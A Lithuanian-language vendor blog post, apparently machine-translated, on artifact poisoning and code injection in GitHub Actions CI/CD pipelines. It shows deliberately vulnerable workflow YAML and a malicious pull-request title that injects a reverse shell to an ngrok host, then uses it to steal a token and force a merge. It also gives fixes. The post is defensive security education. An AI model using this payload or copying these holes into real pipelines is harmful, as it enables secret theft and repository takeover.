CICD-Pipelines

Gilus pasinerimas į CI/CD Pipelines Pažeidžiamumas (III): Artefaktų apsinuodijimas ir kodo įterpimas

Ankstesniuose įrašuose (žr. Netiesiogiai apsinuodijęs Pipeline Vykdymas I-AAP bei Apsinuodijęs Pipeline Vykdymo AAP , mes iš esmės nagrinėjome AAP (apnuodytas Pipeline Vykdymas): matėme, kaip tai veikia, kokie yra jo padariniai, kaip jis gali būti išnaudojamas, taip pat kaip nuo jo apsisaugoti. 

Šiame įraše gilinamasi į kai kuriuos kitus CI/CD pipeline pažeidžiamumai, tokie kaip artefaktų apsinuodijimas ir kodo įterpimas. 

Tam kažkaip remsimės AAP, tad trumpai apibendrinkime, ką apie AAP matėme.

Ankstesnis darbas su AAP

Apibendrinant, pradėjome nuo paprasto „GitHub“ pipeline sukurti ir išbandyti pateiktą kodą per pull requestBe to, jis apibrėžia kai kuriuos patikrinimus, kurie, jei bus įvykdyti, sujungs kodą su pagrindine šaka. Mes tai pavadinome taip Scenarijus #1.

CI/CD-Pipelines

Ankstesniame įraše pademonstravome, kaip veikia šis pagrindinis pipeline buvo pažeidžiami tiek D-PPE, tiek I-PPE.

Mums tai pavyko pataisyti D-AAP by modifikuojant trigerinį įvykį nuo užklausos_ištraukimas į užklausos_tikslas, padarydamas pipeline saugus naudoti su D-AAP. Kaip priminėjas, pipelinesuveiktas „pull_request_target“ įvykio metu, vykdys bazinę užklausą pipeline kodas, o ne pipeline kodas, esantis pull request. 

Mes tai pavadinome taip Scenarijus #2.

CI/CD-Pipelines-pažeidžiamumų-scenarijus-2

Dėl šios modifikacijos parodėme, kad 2 scenarijus vis dar buvo pažeidžiamas I-PPE. 

Norėdami tai ištaisyti, nusprendėme padalinti pipeline į dvi dalis:

  • 1-asis pipeline (Sukurti CI) būtų patikrinkite PR kodą (norėdami jį sukurti), sukurkite konstrukciją ir sugeneruokite artefaktą.
  • "2" pipeline (Testo CI) būtų patikrinkite bazinį kodą (kad išvengtumėte apvalkalo scenarijaus modifikavimo) ir vykdyti originalius scenarijus prieš artefaktą. 
  • Norėdami sinchronizuoti bandymo CI pipeline paleisti PO „Build CI“ pipeline, mes naudosime darbo eigos_vykdymas sukelti. 

Mes tai pavadinome taip Scenarijus #3.

CI/CD-Pipelines-pažeidžiamumų-scenarijus-3

Atkurkime abiejų kodą pipelinepagal šias modifikacijas…

1. pipeline (Sukurti CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2. pipeline (Bandymo pasikliautinumas):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

Artefaktų apsinuodijimas

Pagal aukščiau pateiktą CI/CD pipelines:

  • pipeline Sukurti CI is saugus abiems D-AAP (dėl užklausos_tikslas) ir I-AAP (nes jis nebevykdo apvalkalo scenarijaus).
  • pipeline Testo CI Taip pat saugus abiems D-AAP (dėl darbo eigos_vykdymas) ir I-AAP (nes jis patikrina bazinį kodą, kad gautų originalų apvalkalo scenarijų) 

Pasinerkime atidžiau į šį „sprendimą“.

Pipeline Testo CI atsisiunčia artefaktą kaip ZIP failą.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

Išskleidus, vykdomas „saugus“ apvalkalo scenarijus. Kodėl sakau „saugus“ apvalkalo scenarijus? Nes ankstesniame žingsnyje pipeline patikrina „bazinį“ kodą, todėl originalus scenarijus įdedamas į darbo srities aplanką. Todėl, kai pipeline vykdo apvalkalo scenarijų, kurį jis paleis naudodamas anksčiau atsisiųstą dvejetainį failą.

Tada, kas yra problema taikant šį požiūrį? Problema kyla kai bet kuris vartotojas „sukuria“ naują pipeline. 

Jei vartotojas atidaro PR, kuriame yra naujas pipeline„GitHub“ tai vykdys pipeline  (esant tam tikroms sąlygoms, kaip matėme ankstesniame paštu).

Atsižvelgiant į tai, o kas, jei vartotojas sukurs naują pipeline tuo pačiu pavadinimu kaip ir „Build CI“? Taip, tai stebina, bet „GitHub“ leidžia jums sukurti du pipelinesu tuo pačiu pavadinimu!!

Atminkite, kad testinis CI bus vykdomas po CI kūrimo...

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

Keista, nes dabar jų yra du pipelinetuo pačiu pavadinimu, pipeline Testo CI bus vykdomas du kartus: vienas po originalo pipeline ir kiti po „naujojo“ pipeline.

Kaip įsilaužėlis gali tuo pasinaudoti? 

  • Pirma, kenkėjiškas vartotojas gali modifikuoti apvalkalo scenarijų, kad nusiųstų paslaptį į įsilaužėlio kontroliuojamą serverį.
  • Antra, naujasis pipeline apima eilutę, skirtą modifikuotam apvalkalo scenarijui nukopijuoti į artefaktą → artefano apsinuodijimasct!!!

Kai vartotojas atidaro PR su šiais pakeitimais, „naujas“ pipeline bus įvykdytas (įkeliant užkrėstą artefaktą) ir Deploy CI pipeline bus įvykdytas po to, dėl to „Modifikuotas“ apvalkalo scenarijus perrašo „originalų“ apvalkalo scenarijų, esantį pipeline darbo sritis.

CI/CD-Pipelines-pažeidžiamumai

Tai mes vadiname Artefaktų apsinuodijimas, ty galimybė modifikuoti (nulaužti) pipeline logika modifikuojant a pipeline artefaktas. 

Galimas vienas ištaisymas yra gana paprasta: tiesiog išpakavus artefaktą į darbo srities poaplankį, būtų išvengta „bazinio“ apvalkalo scenarijaus perrašymo. 

Kodo įpurškimas

Be artefaktų apsinuodijimo, ar matote kokių nors kitų pažeidžiamumų minėtame kode?

Eime!!

Kaip matote kode, pipeline „Build CI“ sukuria dvejetainį failą ir įkelia jį kaip pipeline artefaktą ir, be to, įkelia keletą papildomų duomenų: PR pavadinimą ir PR ID.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Kodėl? Nes norint sujungti PR, kaip matote toliau, Test CI pipeline reikalingas PR ID, kad būtų galima iškviesti „GitHub REST API“, kuri sujungia PR. 

Kaip veikia CI testas? pipeline gauti tą PR ID? Bendrinti informaciją tekstiniuose failuose (dalis a pipeline artefaktas) yra įprastas būdas dalytis informacija tarp pipelines. Ir būtent tai šie pipelines daro.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

Griežtai kalbant, PR sujungimui reikalingas tik PR ID, bet pipeline administratorius nusprendė, kad „Build CI“ taip pat turėtų apimti PR pavadinimą, taigi ir „Test CI“. pipeline atspausdintų informacinį pranešimą, kuriame būtų ir PR ID, ir pavadinimas.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

PR pavadinimas visada yra duomenys, gaunami iš vartotojo, todėl visada turi būti laikomi nepatikimais.. Taigi pipeline privalo elgtis atitinkamai ir imtis apsaugos priemonių.

Aukščiau pateiktame kode matome konkretų pranešimą, atkartojantį PR pavadinimą. Tai tiesiog „echo“ „Linux“ komanda.

Jei pavadinimas yra „fiktyvus“, „Github“ sistemoje, naudojant eilučių interpoliaciją, sukuriamas scenarijus, kuriame yra

				
					echo ""a dummy title""
				
			

O kas, jeigu PR pavadinimas būtų maždaug toks:

Kenkėjiškas pavadinimas „&& bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo“

Scenarijus taptų toks:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

Dėl to atidaromas atvirkštinis apvalkalas prieš įsilaužėlio kontroliuojamą serverį.

CI/CD-Pipelines

Tas atvirkštinis apvalkalas gali būti naudojamas norint pasiekti pipeline paslaptys (atminkite, kad testinė integracija veikia privilegijų režimu, nes ją suaktyvina „workflow_run“, todėl ji turi prieigą prie paslapčių).

Bet ką dar galima padaryti per tą atvirkštinį apvalkalą? 

Pažvelkite į CI testo kodą:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

Kaip matote bandymo CI pipeline, „curl merge“ komanda naudoja GITHUB_PAT (apibrėžtą kaip pipeline env var), todėl vykdiklis turi GITHUB_PAT kaip aplinkos kintamąjį. Be to, jis taip pat sukuria env var, nuskaitantį PR ID. 

Taigi įsilaužėliui tereikia nukopijuoti „curl“ komandą ir įklijuoti ją į atvirkštinį apvalkalą, sujungiant PR tiesiai su apsaugota šaka.

kodo injekcija

Kad nuo viso to apsisaugotumėte:

  • Iki išvengti eilučių interpoliacija su nepatikimais duomenimis (pažeidžiama kodo įpurškimas) pagal apibrėžiant pipeline aplinkos kintamieji užuot naudoję jį tiesiogiai echo komandose

Užuot naudoję:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Naudok tai:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • Net ir panaudojus kodo įterpimo išnaudojimo funkciją, „curl merge“ komanda nebūtų buvusi sėkminga, jei būtumėte tinkamai ją įdiegę. apsaugojo tavo pull requests per privalomą peržiūrą ar patvirtinimą. 

Išvados

Kažkaip sunku apsisaugoti CI/CD pipelines konfigūracija ir gauti pipelinebe pažeidžiamumų.

Tai nereiškia, kad CI/CD sistemos (šiuo atveju – „GitHub“) yra pažeidžiamos pačios savaime. CI/CD sistemos suteikia priemones apsisaugoti nuo pažeidžiamumų... tačiau administratoriaus pareiga yra įdiegti šias apsaugos priemones.

Bet ... Negalite išspręsti pažeidžiamumo, nebent žinote apie jo egzistavimą!!!

Žinoma, aukštos kvalifikacijos „devops“ administratorius gali turėti omenyje visas šias grėsmes ir tinkamai apsaugoti CI/CD pipeline...tačiau net ir tokiu atveju labai vertinga naudoti produktą, skirtą visų šių tipų pažeidžiamumams aptikti. Ir, žinoma, automatizuoti šį pažeidžiamumų sulaikymo procesą (pavyzdžiui, atlikti nuskaitymą kaip dalį...). CI/CD pipeline-ai).

Šis požiūris galėtų būti vadinamas „Saugumo vartai" 

  • Sukurkite naują pipeline (Apsaugos vartai) patikrinti CI/CD pipelinepažeidžiamumus ir padaryti kitą CI pipelinevykdyti tik sėkmingai užbaigus apsaugos vartų patikrinimą pipeline.
  • Apsaugos vartai pipelines patikrins CI/CD pipelines pažeidžiamumus ir 
    • Jei bus aptikta pažeidžiamumų, jis suges, todėl ir kitas pipelines nebus vykdomas. 
    • Jei pažeidžiamų vietų nerandama, pipeline pavyks, o kitas pipelines bus vykdomas kaip įprasta.
CI/CD-Saugumas

Apsinuodijęs Pipeline Vykdymas (AAP)

Gilus pasinerimas į CI/CD Pipelines Pažeidžiamumas (I)​

Netiesiogiai apsinuodijęs Pipeline Vykdymas (I-AAP)

Gilus pasinerimas į CI/CD Pipelines Pažeidžiamumas (II)​

Apsauga nuo artefaktų apsinuodijimo naudojant programinės įrangos atestacijas

Gilus pasinerimas į CI/CD Pipelines Pažeidžiamumas (IV)​
sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu